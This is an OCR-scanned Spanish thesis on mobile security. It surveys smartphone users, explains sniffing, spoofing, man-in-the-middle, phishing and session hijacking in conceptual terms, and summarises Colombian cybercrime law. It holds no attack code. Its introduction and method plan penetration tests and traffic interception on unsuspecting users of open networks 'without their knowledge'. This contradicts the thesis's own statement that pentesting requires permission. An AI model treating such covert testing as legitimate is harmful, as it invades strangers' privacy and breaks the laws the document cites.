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RESUMEN

El objetivo principal del presente proyecto es el de establecer un patron de
medicion que permita identificar, entre Android y iOS, cual sistema operativo es
mas susceptible a vulnerabilidades que el otro; se han seleccionado Gnicamente
estos dos sistemas por ser aquellos mas populares en el mercado y con mayor
implementacion que sus competencias, Blackberry OS y Windows Phone.

Se ejecutaran procesos que contemplan la participacion de individuos que hacen
uso de estos dispositivos diariamente, procesos que van desde la participacion
voluntaria en encuestas para la obtencién de informacion estadistica hasta la
participacion en procesos de pruebas de penetracion y analisis de trafico
proveniente de sus equipos moviles. Determinar que pruebas, herramientas y
software es mas apropiado y ofrece mayor informacion también haré parte de los
estudios y andlisis que se llevaran a cabo permitiendo establecer, a futuro,
soluciones y alternativas de seguridad que faciliten asegurar informacién, privada
y confidencial, transmitida a través de dispositivos maviles.

PALABRAS CLAVE

Andlisis estadistico, amenazas, Android, ataques, iOS, pruebas de penetracion,
vulnerabilidades
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ABSTRACT

The present thesis has as its primary objective to establish a standard way to
identify which operating system, between Android and iOS, is more susceptible to
vulnerabilities than the other; to have been chose these two operating systems is
due to its popularity among users and having more implementation among its
competitor, Blackberry OS and Windows Phone.

Process that contemplate user participation are also included in this thesis.
Participation that goes from answering questions about use and security
knowledge, to traffic analysis and penetration testing on their devices. Identifying
which tests, tools, and software works the best and offers more information will
also be part of the analysis and studies to be done. This results will allow, in a no
so distant future, to propose and establish security solutions and alternatives to
protect information transmitted using mobile devices.

KEYWORDS

Android, attacks, iOS, penetration test, statistical analysis, threats, vulnerabilities
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1. INTRODUCCION

La seguridad de la informacion es algo que tenemos en la actualidad, es algo con
lo que vivimos y convivimos y que debemos cuidar; poco a poco la sociedad de
consumo nos ha traido una era tecnolégica en la que hemos generado
dependencia mayoritaria a nuestros dispositivos electronicos, y por pequefios o
mayores que seamos no podemos dejar pasar esta situacion, no es raro encontrar
a nuestros padres inclusive nuestros abuelos jugando en una Tablet o leyendo el
periddico, de igual manera los nifios con su rapido aprendizaje encuentran
distraccion en estos "aparatos”.

Es la misma sociedad la que nos sumerge sistematicamente en un mundo de
gerencia comunicativa en la que los datos y la informacién son las llaves que
abren todas las puertas, pero ¢qué es lo que realmente tenemos en nuestras
manos? Nuestros celulares han pasado de ser herramientas telefénicas y de
rastreo a ser nuestras agendas, nuestras bandejas de entrada, nuestros amigos
en chat, nuestra sociedad en redes, nuestro centro de entretenimiento, nuestras
oficinas, nuestros bancos sin filas y en algunos casos vidas sociales enjauladas en
rectangulos con pantalla.

Es aqui donde nos adentramos en el tema fundamental de este proyecto, la
seguridad informatica para dispositivos maoviles, ¢qué tan seguros estan nuestros
datos?, ¢ si realizamos una transaccion mediante nuestros dispositivos moviles es
realmente segura?, ¢los datos a los que accedemos mediante internet pueden ser
modificados?, ¢qué tan seguras son las redes libres?, ¢podemos ser victimas de
robo de informacién de nuestro equipo mévil?, ¢qué medidas debemos tomar para
hacer a nuestros dispositivos mas seguros?. Estos y muchos mas interrogantes
seran tratados en este documento mediante el estudio de situaciones particulares
y pruebas que se realizardn en vivo desde lugares concurridos y con redes
abiertas a los usuarios. Se realizaran pruebas de penetracion como el titulo lo dice
a usuarios sin su conocimiento para fines educativos en lugares concurridos y con
redes abiertas para finalizar con un modelo de seguridad a implementar en los
dispositivos mas vulnerables.
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2. PLANTEAMIENTO DEL PROBLEMA

2.1 DESCRIPCION O RESUMEN DEL PROBLEMA

En este documento se pretende identificar y compilar los diferentes métodos,
perfiles, acciones y comportamientos de intrusos en redes mdviles, mediante un
estudio de casos de intrusion en un sitio determinado; se realizara un analisis
estadistico focalizando los resultados en los comportamientos mas relevantes de
los atacantes y se propondran como solucion diferentes practicas que ayudaran a
minimizar los riesgos de ataques informéaticos en este campo.
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3. ALCANCES DEL PROYECTO

El proyecto aqui presentado se constituye como el primer paso para el desarrollo
de una propuesta o planteamiento de un modelo de seguridad informatica para
dispositivos moviles tipo Smartphone, se espera identificar los ataques mas
frecuentes y los sistemas operativos mas vulnerables.

Con estos resultados se pretende proponer practicas de seguridad que se pueden
implementar para reducir los riesgos de ataques informaticos y asi tratar de
disminuir los dafos en los dispositivos
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4. JUSTIFICACION

Con la llegada de la tecnologia de cuarta generacion de transmision de datos en
equipos moviles se ha visto un aumento en el desarrollo de aplicaciones con
codigo malicioso que pretende otorgar a un atacante el acceso a los datos
privados de los usuarios incluyendo informacién bancaria, personal, entre otros;
siendo una tecnologia desarrollada recientemente las alternativas disponibles de
seguridad y proteccion de datos son minimas y las existentes se limitan a proteger
de manera superficial los datos més basicos que un usuario cualquiera comparte
en su equipo movil. La preocupacion de muchos operadores de telefonia movil por
implementar esta tecnologia, y la misma demanda por mas velocidad de acceso
por parte de sus usuarios, ha llevado a implementaciones incompletas e
inseguras, que para el usuario comun representan un riesgo de seguridad. Por tal
motivo identificar los métodos y perfiles de diferentes ataques en este campo hara
posible la justificacién de diferentes practicas para la minimizacién de Riesgos.
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5. OBJETIVOS

5.1 OBJETIVO GENERAL

Estudiar las caracteristicas generales de las vulnerabilidades y riesgo a las que se
enfrenta la sociedad tecnolégica en temas de seguridad informética para
dispositivos moviles.

5.2 OBJETIVOS ESPECIFICOS

Identificar las vulnerabilidades y los ataques mas realizados a los dispositivos
moviles con sistema operativo Android.

e Generacion de una estacion de trabajo para la ejecucion de pruebas desde un
dispositivo con sistema operativo movil.

e Especificar y detallar las herramientas utilizadas por los atacantes para la
ejecucion de pruebas de penetracion, hacking y cracking de dispositivos
mdviles tipo Smartphone.

e Generar un informe estadistico que permita Identificar los sistemas operativos
de los dispositivos méviles mas vulnerables.
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6. MARCO DE REFERENCIA

6.1 MARCO TEORICO

6.1.1 Smartphone o equipo de telefonia movil inteligente

Un teléfono inteligente o Smartphone puede definirse como un equipo de telefonia
movil que incluye funciones de procesamiento que normalmente se reservaban
para su uso en equipos de cémputo personal, sean estos para escritorio o
portétiles. Los primeros modelos de telefonia inteligente fueron conocidos como
PDAs! que presentaron los primeros sistemas operativos méviles con capacidades
de procesamiento reducidas y suficientes para controlar este tipo de dispositivos,
es decir, procesos de control de llamadas y mensajes de texto asi como
aplicaciones con funciones de asistencia personal (agendas, calendarios, listas de
chequeo). Los principales sistemas operativos de la época se conocian como
Palm OS, Blackberry OS y Windows Pocket PC.

Sin embargo, con el correr de los afios los usuarios fueron solicitando cada vez
mas capacidad de procesamiento por lo que avances en estos dispositivos no se
hicieron esperar. Asi, en 1999, NTT DoCoMo facilité la masificacion de
smartphones en Japén con equipos basados en tecnologia i-mode? que lograban
transmision de datos a velocidades de 9.6 kbits/s.La masificacion en Estados
Unidos llego de la mano de Blackberry y de Nokia en Europa, este ultimo con el
desarrollo de un nuevo sistema operativo, Symbian OS. En la figura 1 puede
observarse la evolucién de los idiomas de ‘markup’ para dispositivos moviles.

Personal Digital Assistant
2 Estandar de comunicacion inalambrica que, haciendo uso de c-HTML y protocolos propietarios de
NTT DoCoMo, APL y TLP, permite la conexion de teléfonos inteligentes a redes como Internet.
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Figura 1. Evolucion ‘Mobile Markup Languages’
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Fuente: Markup Languages for Handheld Devices. Copyright a David P.
Heitmeyer.

Alrededor del afio 2007 los sistemas operativos y equipos moviles disponibles
empezaron a quedarse atrasados en comparacién con lo que los usuarios y los
avances en tecnologias (de transmisién, almacenamiento, etc.) exigian asi que
nuevos competidores entraron en el mercado con nuevos equipos y sistemas
operativos, Apple con su sistema operativo iconico iOS y un jugador independiente
con un sistema operativo de codigo abierto llamado Android, posteriormente
adquirido por Google. Estos ultimos sistemas operativos, y nuevos desarrollos en
sistemas operativos Windows y Blackberry, han permitido el desarrollo y
aprovechamiento de nuevas funcionalidades en equipos (aumento en la capacidad
de almacenamiento, aumento de la capacidad de procesamiento, soporte de
pantallas multitactil, etc.).
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6.1.2 Seguridad informatica

Se puede definir como la implementacion de medidas, técnicas, herramientas,
estandares, leyes, entre otras, destinadas a preservar la confidencialidad, la
integridad y la disponibilidad de los sistemas y redes de cOmputo y en
consecuencia la informacién que contienen. Hablar de seguridad informatica
necesariamente nos lleva a pensar en todo aquello que puede significar algun tipo
de riesgo para los sistemas, bien sean estos generados por lo que conocemos
como hackers o por errores de disefio e implementacion.

Asi pues, actualmente existen una serie de estandares, métodos, normas y
procedimientos que han sido disefiados para la minimizacion de riesgos e
identificacion de vulnerabilidades en un sistema de informacion con la intencion de
convertirlo en un sistema seguro.

Hablamos de seguridad informética en este proyecto ya que es uno de los pilares
fundamentales en el que nos basamos para realizar las metodologias de hacking
ético con las cuales se pretenden obtener los datos estadisticos que permitiran
realizar el andlisis pertinente de vulnerabilidades a dichos sistemas.

6.1.3 Seguridad en dispositivos moviles

Gracias a los avances en tecnologia de comunicacion movil, principalmente para
transmision de datos, han llegado avances en los ataques, amenazas Yy
vulnerabilidades que este tipo de dispositivos sufre, a la vez que las mejoras y
nuevos desarrollos han traido parches y mecanismos de proteccion que no solo
buscan proteger las redes sino también proteger los equipos y la informacién que
contienen. Seguridad en dispositivos moviles no es otra cosa que la
implementacion de medidas, técnicas y estandares con la finalidad de proteger los
equipos, la informacién que contienen y a sus usuarios.

Tomando en consideracion que las principales amenazas a las que se enfrentan
estos dispositivos aprovechan el desconocimiento de los usuarios que en la
mayoria de los casos adquieren estos dispositivos por moda, los métodos de
seguridad se han enfocado en proteger los sistemas de forma transparente, sin
intervencidn de los usuarios mas que para la instalacién de algunas aplicaciones.
De igual forma los proveedores de servicios moviles se han esforzado por
implementar redes seguras y confiables pues de ello depende su negocio.

27



Sin embargo, por mas segura que sea una red siempre tendra alguna
vulnerabilidad, algun error, y en el caso de los dispositivos moviles estos errores
se ven representados mayormente en los usuarios, servicios de conexion siempre
encendidos, |éase bluetooth y wifi, e incluso NFC, instalacion de aplicaciones sin
verificar su origen y la pirateria de aplicaciones que en muchos casos pueden
incluir codigo malicioso.

6.1.4 Ataques informéaticos

Un ataque informético se define como todo aquel intento por acceder, obtener el
control, modificar, dafiar o eliminar un sistema informatico y la informacién que
este contiene. Estos ataques son realizados con premeditacion y en consecuencia
mayormente de la blusqueda de conocimientos, aunque también se presentan
casos en que los ataques son realizados en busqueda de causar dafios reales
como robo de informacion personal, de contacto o financiera.

6.1.4.1. Sniffing

La palabra “Sniffing” significa “olfateando” es una técnica de ataque
informatico en la cual el Sniffer, quien ejecuta el ataque, tiene acceso al
canal de transmisiéon de informacién y escucha todo el trafico de una red
determinada, almacena la informacion y posteriormente la analiza en busca
de informacién importante y confidencial.

Los sniffers utilizan la tarjeta de interfaz de red del dispositivo atacante en
conjunto con el objetivo para convertirla en un puente de informacién del
trafico que esta dentro del umbral de audicion del sistema de escucha, es
decir todo el trafico que entra y sale del sistema objetivo deja un registro de
actividad para el atacante.

Para realizar la operacion descrita el atacante debe de cambiar el modo de
actividad de su tarjeta de red a “modo promiscuo” después de realizar esta
accion se activa el software de sniffing y este puede capturar el trafico
objetivo desde y/o hacia el dispositivo objetivo, en la figura 2 puede
observarse que el atacante se convierte en un miembro mas de la red
atacada.
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Figura 2. Sniffing

DHCP Server DHCP Client

w

Fuente: http://4.bp.blogspot.com/ HGCELTNraaQ/SG2sDaSv-
cl/AAAAAAAAABO/fU3yqJ7caY8/s320/snifer.jpg

6.1.4.2. Spoofing

Los ataques por métodos como spoofing son los que requieren de una
suplantacién de entidad a través de falsificaciones en los datos de la
comunicacioén, existen diferentes técnicas de Spoofing entre ellas podemos
listar las siguientes:

IP spoofing.

ARP spoofing.

DNS spoofing.

Web spoofing.

E-mail spoofing.

29



Para efectos practicos se especifica el funcionamiento del IP Spoofing el cual
se utiliza en este documento, los demas métodos operan de manera similar.

El IP Spoofing consiste en la suplantacién de la direccion IP de una maquina
que establece comunicacion dentro de una red, aungue no son
especificamente ataques son muy utilizados por los delincuentes para ocultar
su verdadera identidad como se muestra en la figura 3.

Figura 3. Spoofing

Fuente: http://lh5.ggpht.com/_kWGvruOyW-
U/SykMuM4Pz3I/AAAAAAAAACS/7pL59B92U6Y/s800/bd_addr-spoofing.jpg

6.1.4.3. Man-in-the-Middle

MITM son las siglas del inglés “Man in the middle” que significa hombre en el
medio; es un tipo de ataque informatico que, como su nombre lo indica,
consiste en situarse en el medio de una comunicacion dentro de una red con
la posibilidad de escuchar, obtener, capturar y modificar el trafico de la
misma sin que el objetivo se entere.

La topologia de ataque de MITM se presenta en la figura 4:
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Figura 4. Topologia MITM
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Fuente:
http://s96.photobucket.com/user/SemashphorasH/media/maninthemiddleeee
eee.jpg.html

Los ataques tipo MITM “Man in the Middle” se generan desde la misma red,
el atacante tiene que lograr entrar a la red, se suele realizar un mapeo previo
de la misma con herramientas especificas para saber qué tipo de victimas
pueden ser atacadas, después de estar dentro de la red se engafa el
protocolo ARP. El atacante se incrusta en la red y responde a los paquetes
ARP que se lancen a broadcast y que llamen a los ordenadores que
gueramos suplantar. Si se realiza esto a dos puntos de la misma red local se
logra que la informacion y el trafico entre ambos equipos utiliza el equipo
atacante como puente, con todo lo que ello implica.

De los ataques tipo MITM se pueden derivar los siguientes:

¢ Shniffer (captura de trafico).

e Redireccionamiento de trafico.

e Phishing.
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DoS (Denegacion de servicio).

Modificacion de navegacion.

Interceptacion de descargas.

Robo de sesion.

Entre muchos otros, todo esto sin que el usuario final se entere de la
situacion.

6.1.4.4. Phishing

El phishing o suplantacion de identidad en espafiol, es una técnica muy
utilizada por delincuentes informéticos para robar informacién valiosa como
cuentas bancarias, numeros de tarjetas de crédito, sesiones de correo etc.
Su principal caracteristica es la de falsificar una web para que la victima crea
que es la real.

Existen millones de formas de clonar una pagina web, como hacer la “pesca”
del objetivo es lo dificil, los delincuentes informaticos utilizan técnicas como
falsificacion de e-mail de la entidad financiera solicitando informacion o
solicitando cambio en las credenciales de ingreso del banco, para ello
facilitan un link el cual aparentemente lleva a la victima al sitio original, sin
embargo es una pantalla utilizada para que la informacion se envie a un
servidor privada, el cliente suele ser redireccionado a la pagina real donde
obtiene como respuesta una falla en la operacion u operacion finalizada
inesperadamente, lo que hace sospechar al usuario que el error esta en la
plataforma original y el robo de la informacién pasa sin ser detectado, esta
descripcion puede observarse en la figura 5.

Este tipo de ataque aprovecha la confianza innata de las personas y el
desconocimiento general existente en la tematica de la seguridad
informética.
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Figura 5. Phishing

Phisher

Internet consumer

Fuente: http://www.cccindy.com/credit-counseling-blog/phishing-scams-lead-
to-identity-theft/

6.1.4.5. Secuestro de sesién (Hijacking)

El secuestro de sesion en términos informaticos hace referencia a las
técnicas utilizadas por los delincuentes computacionales para aduefiarse de
algo, por lo general informacion valiosa de una sesion activa.

Después de que un atacante informatico asigna un objetivo en una red
especifica, el delincuente realiza un ataque tipo Cross Site Scripting o tipo
MITM; se posiciona en el medio de la comunicacion y roba las credenciales
de ingreso de una sesion determinada, luego modifica la cookie e ingresa sin
gue el usuario se entere, en la figura 6 vemos el funcionamiento de este tipo
de ataques de una manera grafica.



Figura 6. Robo de sesion
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Fuente:
http://www.codeproject.com/KB/web-security/859579/SessionHijacking.jpg

6.1.5 Pruebas de penetracion

En el marco de la seguridad informéatica las pruebas de penetracién son ataques
controlados que se realizan contra un equipo o aplicacion con el fin de determinar
sus vulnerabilidades y fallas existentes antes que sean aprovechadas por un
atacante cualquiera.

Este tipo de pruebas es llevado a cabo por profesionales en el campo del hacking,
preferiblemente certificados en Ethical Hacking que aseguren que los ataques
realizados y vulnerabilidades encontradas no sean aprovechados para daiar el
sistema ni se dejen vulnerables luego de ejecutar las pruebas.

Si bien este tipo de pruebas son enteramente ataques haciendo uso de
herramientas y métodos de hacking, difiere de estos en el permiso que debe
obtenerse previo a la ejecucion de los mismos.
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6.2 MARCO CONCEPTUAL

Las tecnologias de la informaciéon han evolucionado, y con ellas han venido de la
mano vulnerabilidades de sistema informaticos, vulnerabilidades que afectan a los
usuarios que hacen uso de estas. La informacion es clave y objetivo en los
procesos que han tenido protagonismo en los ultimos afos y es la informacion la
que abre las puertas a los diferentes riesgos, sin embargo, existen diferentes
metodologias que pueden ser implementadas por los consumidores de
tecnologias de la informacion para minimizar estos riesgos y amenazas.

En este documento se da un aporte a la proteccién de la informacién llevando una
mirada analitica a los procesos y los medios utilizados para salvaguardar los datos
en un sistema. La utilizacién y ejecucion de ataques informaticos para evidenciar
al lector los peligros que abrazan sus dispositivos son la base clara para presentar
los métodos apropiados que se deben de seguir en un sistema de informacion (en
nuestro caso movil) seguro.

En la actualidad existen millones de aplicaciones desarrolladas con fines
especificos en seguridad informética, sin embargo la falta de conocimientos
especificos en el area impiden la correcta ejecucién de algunas de ellas, los
antivirus y “limpiadores de basura” algunos gratis estan disponibles en la tienda de
google para los usuarios comunes, en este documento se dan las pautas para
correcta seleccion de este tipo de aplicaciones, ya que algunas se hacen
necesarias en las buenas practicas de seguridad.

Entre las diferentes pruebas que se realizaran y se describiran se muestran puntos
de falla de los sistemas de informacion, no solo en dispositivos moviles sino
también en equipos vulnerables a los mismos ataques, es necesario comprender
gue no existe sistema seguro, existen sistemas con menos vulnerabilidades y es
ahi donde nosotros como usuarios jugamos el papel mas importantes ya que nos
volvemos administradores de nuestros sistemas y como administradores es
nuestra responsabilidad velar por cerrar las puertas a los delincuentes
informaticos.
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6.3 MARCO CONTEXTUAL

6.3.1Usuarios y hackers, un riesgo en la transmisién de datos financieros en
Colombia

Es un articulo del Ingeniero Jhon Freddy Quintero Tamayo en el que se
mencionan los riesgos y vulnerabilidades que pueden sufrir los datos de los
usuarios de entidades financieras colombianas cuando son transmitidos haciendo
uso de dispositivos moviles. La investigacion desarrollada por el Ingeniero
Quintero presenta algunos ataqgues informaticos que pueden realizarse contra
estos dispositivos con el fin de interceptar informacion transmitida, centrandose en
ataques tipo Man-in-the-middle e Ingenieria Social.

Las conclusiones que ofrece el articulo se relacionan con la determinacién de qué
tan vulnerable es la transmisién de informacion y en que el mayor riesgo esta
representado por los usuarios y el uso que estos le dan tanto a los servicios como
a la informacion.

6.3.2Guia para el desarrollo de una herramienta que permita la recuperacion
de los datos volatiles y no volétiles en los dispositivos méviles con
sistema operativo Android por medio del Android Debug Bridge (adb)

Es un articulo desarrollado por el ingeniero Ramsés Rios Lampariello mediante el
cual se presenta el desarrollo de una herramienta que facilita la recuperacion de
informacion volatil y no volatil contenida en un equipo maévil con sistema operativo
Android. De igual forma el articulo presenta una breve descripcibn de los
principales ataques informaticos a los que se enfrentan este tipo de dispositivos.

Las conclusiones presentadas recalcan la importancia de conocer las
vulnerabilidades a las que se ven expuestos los equipos moviles ademas que si
bien Android es el sistema operativo que mas sufre de ataques, no es el Unico
existente.

6.4 MARCO LEGAL

En la Republica de Colombia la legislacion en términos de delitos informaticos es
relativamente reciente pues no fue sino hasta el 2009 que se presentd una
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actualizacion legal que incluyera el concepto de delito informatico y lo penalizara
conforme al cédigo penal existente.

La Ley 599 de 20003, precisamente la Ley que establecié el Cédigo Penal
Colombiano, solamente incluia preceptos de proteccion a Derechos de Autor y
control sobre la prestacion, acceso 0 uso de servicios de telecomunicaciones mas
nada explicito en términos de proteccion de datos y sistemas informéticos; claro
esta, estas protecciones se mejoraron con la Ley 1032 de 2006%.

6.4.1 Ley 1273 de 2009°. Ley de delitos informaticos

Con el paso del tiempo y la llegada de nuevas tecnologias y formas de manejar
informacién, Colombia entro en un periodo de descontrol pues la legislacion
existente no permitia penalizar ciertas conductas delictivas relacionadas,
precisamente, con la informacién y las nuevas redes informéticas, cada vez con
mayor crecimiento. Asi, en 2009 fue presentada por el Congreso de la Republica
la Ley 1273 de 2009 mediante la cual se modifica el Codigo Penal creando un
nuevo bien juridico que fue denominado “de la proteccion de la informacién y de
los datos”. Con esta nueva legislacién se logré salvar un hueco legal penalizando
conductas delictivas que atentaran contra la disponibilidad, integridad vy
confidencialidad de datos y sistemas informaticos.

Para efectos del presente proyecto se listan los articulos que penalizan los
ataques aqui realizados.

6.4.1.1 Codigo Penal. Articulo 269A

Acceso abusivo a un sistema informatico. El que, sin autorizacién o por fuera
de lo acordado, acceda en todo o en parte a un sistema informatico protegido
0 no con una medida de seguridad, o se mantenga dentro del mismo en
contra de la voluntad de quien tenga el legitimo derecho a excluirlo, incurrira
en pena de prisién de cuarenta y ocho (48) a noventa y seis (96) meses y en
multa de 100 a 1.000 salarios minimos legales mensuales vigentes.”

3 Ley 599 de 2000, por la cual se expide el Codigo Penal.

4 Ley 1032 de 2006, por la cual se modifican los articulos 257, 271, 272 y 306 del CAdigo Penal.
5Ley 1273 de 2009, por medio de la cual se modifica el Cédigo Penal, se crea un nuevo bien
juridico tutelado — denominado “de la proteccion de la informacioén y de los datos” — y se preservan
integralmente los sistemas que utilicen las tecnologias de la informacién y las comunicaciones,
entre otras disposiciones.
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6.4.1.2 Cdbdigo Penal. Articulo 269C

Interceptacion de datos informaticos. El que, sin orden judicial previa
intercepte datos informéticos en su origen, destino o en el interior de un
sistema informatico, o las emisiones electromagnéticas provenientes de un
sistema informatico que los trasporte incurrira en pena de prision de treinta y
seis (36) a setenta y dos (72) meses.

6.4.1.3 Cdédigo Penal. Articulo 269E

Uso de software malicioso. El que, sin estar facultado para ello, produzca,
trafique, adquiera, distribuya, venda, envie, introduzca o extraiga del territorio
nacional software malicioso u otros programas de computacion de efectos
dafinos, incurrira en pena de prisidbn de cuarenta y ocho (48) a noventa y
seis (96) meses y en multa de 100 a 1.000 salarios minimos legales
mensuales vigentes

6.4.1.4 Codigo Penal. Articulo 269F

Violacion de datos personales. El que, sin estar facultado para ello, con
provecho propio o de un tercero, obtenga, compile, sustraiga, ofrezca, venda,
intercambie, envie, compre, intercepte, divulgue, modifique o emplee codigos
personales, datos personales contenidos en ficheros, archivos, bases de
datos o medios semejantes, incurrird en pena de prision de cuarenta y ocho
(48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos
legales mensuales vigentes

6.4.1.5 Cdbdigo Penal. Articulo 269G

Suplantacion de sitios web para capturar datos personales. El que con objeto
ilicito y sin estar facultado para ello, disefie, desarrolle, trafique, venda,
ejecute, programe 0 envie paginas electronicas, enlaces o0 ventanas
emergentes, incurrira en pena de prisién de cuarenta y ocho (48) a noventa y
seis (96) meses y en multa de 100 a 1.000 salarios minimos legales
mensuales vigentes, siempre que la conducta no constituya delito
sancionado con pena mas grave
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6.4.1.6 Cddigo Penal. Articulo 269l

Hurto por medios informaticos y semejantes. El que, superando medidas de
seguridad informaticas, realice la conducta sefalada en el articulo 239
manipulando un sistema informético, una red de sistema electronico,
telematico u otro medio semejante, o suplantando a un usuario ante los
sistemas de autenticacién y de autorizacion establecidos, incurrira en las
penas sefialadas en el articulo 240 de este Cddigo.

6.4.2 Ley 1581 de 2012°. Ley de habeas data

La estipulacién de la ley de proteccion de datos personales impartié derechos a
los ciudadanos de la Republica relacionados con el manejo que empresas y sitios
de adquisicién de informacion daban a su informacién personal privada, es decir,
nombres, direcciones de contacto, nimeros de identificacion, entre otros.

Con la entrada en vigencia de esta Ley se establecieron definiciones relacionadas
con la informacién, el uso, el almacenamiento, el tratamiento, entre otros, que
permitian a los ciudadanos saber a ciencia cierta exactamente que uso le dan a
sus datos personales una vez son obtenidos por entes externos a ellos.

De igual forma, la Ley introdujo el concepto de “Datos Sensibles” como categoria
especial de datos que define la prohibicion de uso de informacién que pueda
afectar a su duefio, esta informacion se encuentra relacionada con temas como el
origen racial o étnico, la orientacion politica, creencias religiosas, datos de género
y datos biométricos, entre otros mas especificados en el articulo 5 de la Ley.

6.4.3 Ley 565 de 2000’. Ley de derechos de autor

En el afilo 2000 el Congreso de Colombia promulga la ley de Derechos de Autor
mediante la cual se presentan las protecciones legales y juridicas sobre las
expresiones literarias y artisticas creadas por cualquier nacional del pais.

6 Ley 1581 de 2012, por la cual se dictan disposiciones generales para la proteccion de datos
personales.

Ley 565 de 2000, por la cual se aprueba el “Tratado de la OMPI —Organizacion Mundial de la
Propiedad Intelectual— sobre Derechos de Autor (WCT)”, adoptado en Ginebra, el veinte (20) de
diciembre de mil novecientos noventa y seis (1996).

39



Entre otras indica que toda produccion literaria y artistica es propiedad exclusiva
de su creador y por tanto todo derecho de reproduccién requiere permiso previo y
pago de derechos si es aplicable.
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7. METODO DE INVESTIGACION

7.1 DISENO METODOLOGICO

El método utilizado para la ejecucion y el desarrollo de este proyecto es
investigativo con objeto factual ya que exige de observacion y experimentacion
con un objetivo o hecho especifico que se refiere a la seguridad en los dispositivos
moviles.

Se considera método tedrico con objetivo aplicado y de caracter descriptivo ya que
se realizar4 un andlisis estadistico con la presentacion de la ejecucion de métodos
de penetracion y las posibles soluciones al problema de seguridad en sistemas
operativos para estos dispositivos.

Se pretende mediante el uso aplicado de encuestas realizadas a una poblacién
especifica que visita centros comerciales, encontrar las posibles vulnerabilidades
de los usuarios para después explotarlas y buscar las brechas de seguridad que
darén paso a la propuesta final de acciones y recomendaciones de solucion al
problema.

Se ejecutaran procesos como test de penetracion, ataques tipo “man-in-the-
middle” de intercepcion e ingenieria social; teniendo en cuenta las bases y
objetivos del hacking ético, en ningdn momento se vera comprometida la
disponibilidad, integridad y confidencialidad de la informacion de la muestra
objetiva de los ataques propuestos.

7.2 AREA GENERAL DE CONOCIMIENTO

Seguridad en Redes

7.3 AREA DE CONOCIMIENTO ESPECIFICA

e Pentesting en redes LAN y WLAN.

e Hacking ético.
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e Comportamiento de intrusos en diversas redes informaticas

7.4 RECURSOS DISPONIBLES

La investigacion se llevara a cabo utilizando herramientas de software de codigo
abierto principalmente bajo entorno de sistemas operativos GNU/Linux. Los
recursos requeridos para el desarrollo del presente proyecto consisten en la
disponibilidad de material de tipo equipos de computo, equipos moviles, acceso a
redes de datos, acceso a Internet, disponibilidad de tiempo y horarios del
establecimiento de eleccion para la investigacion.

7.5 POBLACION Y MUESTRA

La poblacion sobre la que se realiza el estudio esta compuesta principalmente por
personas que se considerarian promedio en el uso de dispositivos méviles, es
decir, personal cuyo conocimientos de seguridad y proteccion de informacion en
estos dispositivos es baja, casi nula por lo que se consideran blancos faciles para
recibir ataques informaticos de casi cualquier tipo, incluyendo pero no limitando a
ataques tipo sniffing, man-in-the-middle, pishing, penetracion de dispositivos e
incluso dafio de los mismos.

La muestra principal consta de 85 dispositivos ejecutando sistema operativo
Android en cualquiera de sus versiones con el supuesto que la version minima a
encontrar sea la version 4.0 —Ice Cream Sandwich y la versibn méas reciente la
version 5.1 —Lollipop.
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8. DESARROLLO DEL PROYECTO

8.1 FORMATO DE ENCUESTA

A continuacion, en la tabla 1 se presenta el formato de encuesta que se llevé a
cabo como estudio de caso preliminar sobre el uso de dispositivos moviles.

Tabla 1. Encuesta de estudio de caso
Por favor margue con una X su respuesta.
¢,Qué equipo movil posee?
Equipo con Android
iPhone
Otros (Blackberry, Windows Phone)
¢, Cudl es su rango de edad?
15 — 25 arfios
26 — 35 afios
36 — 45 afios
Mayor de 45 afios
¢ Posee algun plan de datos? Si No
¢ Hace uso de redes Wi-Fi de acceso libre? Si No
¢Hace uso de las redes Wi-Fi de su lugar de trabajo y/o estudio? Si No
¢,Qué uso le da a su equipo movil? (Marque todas las que apliquen)
Enviar y recibir llamadas
Entretenimiento
Actividades Laborales
Educacion
Redes sociales
¢,Con que frecuencia hace uso de su equipo mévil fuera de su lugar de residencia?
Una vez al dia
Entre 2 y 5 veces al dia
Entre 6 y 9 veces al dia
Mas de 9 veces al dia
Todo el tiempo
Unicamente cuando entra o envia una llamada
¢Hace uso de las opciones de seguridad que ofrece su dispositiva? ¢ Cual? Si | [ No |
Pin
Patrén
Reconocimiento facial
Reconocimiento dactilar

Contraseria
¢Almacena datos importantes y confidenciales en su dispositivo? Si No
¢Hace uso de su dispositivo para realizar transacciones bancarias? Si No
¢Sincroniza sus cuentas de correo y redes sociales en su dispositivo? Si No
¢Deja que otras personas utilicen su dispositivo? Si No
Si la respuesta anterior fue positiva: ¢ Tiene habilitada la sesién de invitado en su dispositivo? Si No
¢ Ha hecho uso de la opcién de compartir acceso a Internet que tiene su dispositivo? Si No
¢ Tiene algun antivirus instalado en el equipo mévil? Si No
¢Actualiza automaticamente las aplicaciones que tiene instaladas en el equipo? Si No
¢Es consciente de los permisos que otorga al instalar alguna aplicacion? Si No
¢ Considera que su dispositivo pueda ser victima de un atague informético en algin momento? Si No

¢,Conoce algun caso de ataque informatico a dispositivos méviles? ¢ Cual?

Fuente: Los autores
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8.2 TABULACION DE RESULTADOS OBTENIDOS DE ENCUESTAS

A continuacion, se presentan los resultados finales de las encuestas realizadas a
la muestra especificada, el 100% como muestra final con su respectivo analisis.

8.2.1 Caracterizacion Inicial

La caracterizacion Inicial nos permite conocer las preferencias en cuanto al uso de
sistema operativo movil de las personas de la muestra del presente trabajo, en la
figura 7 podemos ver que actualmente a nivel nacional de cada 85 personas 62
poseen un dispositivo movil con sistema operativo Android, lo que indica que el
mercado se encuentra liderado por este sistema, confirmando asi la eleccidon
realizada para la ejecucion de pruebas de penetracion y obtencién de resultados
anicamente en este sistema operativo.

Figura 7. Encuesta P1.1

¢Qué tipo de equipo movil posee? (s5 respuestas

@ Equipo con Android
@ iPhene
Otro (Blackberry, Windows Phone)

Fuente: Los autores.

La figura 8 nos da un resultado de las edades en las que se utiliza con mas
frecuencia un dispositivo mévil, se evidencia claramente que el rango de mayor
influencia para realizar este estudio de seguridad en dispositivos moviles es en las
edades desde 26 a 35 afios, esto no quiere decir que el resto de rangos no esté
exento de contribuir con las pruebas y los procedimientos que se daran en
recomendacion en el presente trabajo a realizar. En si, la caracterizacion inicial
presenta el tipo de muestra que se seleccion6 para la ejecucion del proyecto, sin
gue esto signifique exclusividad al ejecutar las pruebas propiamente dichas.
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Figura 8. Encuesta P1.2

¢En qué rango de edad se encuentra? (35 respuestas)

@ 15- 25 afios
@ 26- 35 afios
36 - 45 arios
@ WMayor de 45 afios

4

Fuente: Los autores.
8.2.2 Plan de datos

